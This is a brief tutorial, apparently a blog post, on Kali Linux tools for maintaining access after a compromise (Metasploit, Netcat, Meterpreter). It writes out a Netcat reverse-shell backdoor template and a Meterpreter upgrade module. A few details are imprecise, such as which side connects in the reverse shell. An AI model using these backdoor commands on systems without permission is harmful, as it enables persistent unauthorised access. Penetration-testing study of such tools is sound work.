Introduction
Maintaining access is the process of retaining access to a system after it has been compromised. Kali Linux provides a range of tools for maintaining access. In this guide, we will discuss some of the most commonly used maintaining access tools in Kali Linux.
Tools
- Metasploit Framework
- Metasploit Framework is a tool for exploiting vulnerabilities and creating payloads for maintaining access to a compromised system.
- To use Metasploit Framework, open the terminal and type “msfconsole”.
- Metasploit Framework provides a wide range of exploits and payloads that can be used for maintaining access to a compromised system.
- Netcat
- Netcat is a tool for creating backdoors and maintaining access to a compromised system.
- To use Netcat, open the terminal and type “nc -lvp [port]” to listen for incoming connections, and “nc [target IP] [port] -e [command]” to create a reverse shell backdoor.
- Netcat can be used to maintain access to a compromised system by creating a persistent backdoor that allows remote access.
- Meterpreter
- Meterpreter is a powerful post-exploitation tool that provides a wide range of functionality, including maintaining access to a compromised system.
- To use Meterpreter, open the terminal and type “use post/multi/manage/shell_to_meterpreter” to convert a shell session to a Meterpreter session.
- Meterpreter provides various commands and features that can be used for maintaining access, including persistence, pivoting, and privilege escalation.
Conclusion
In this guide, we’ve discussed some of the most commonly used maintaining access tools in Kali Linux. These tools can be used to retain access to a compromised system, allowing you to continue your activities and further explore the system. It’s important to use these tools ethically and legally, and only with the permission of the owner of the system being tested. Remember that maintaining access to a system without permission is illegal and can result in severe consequences.
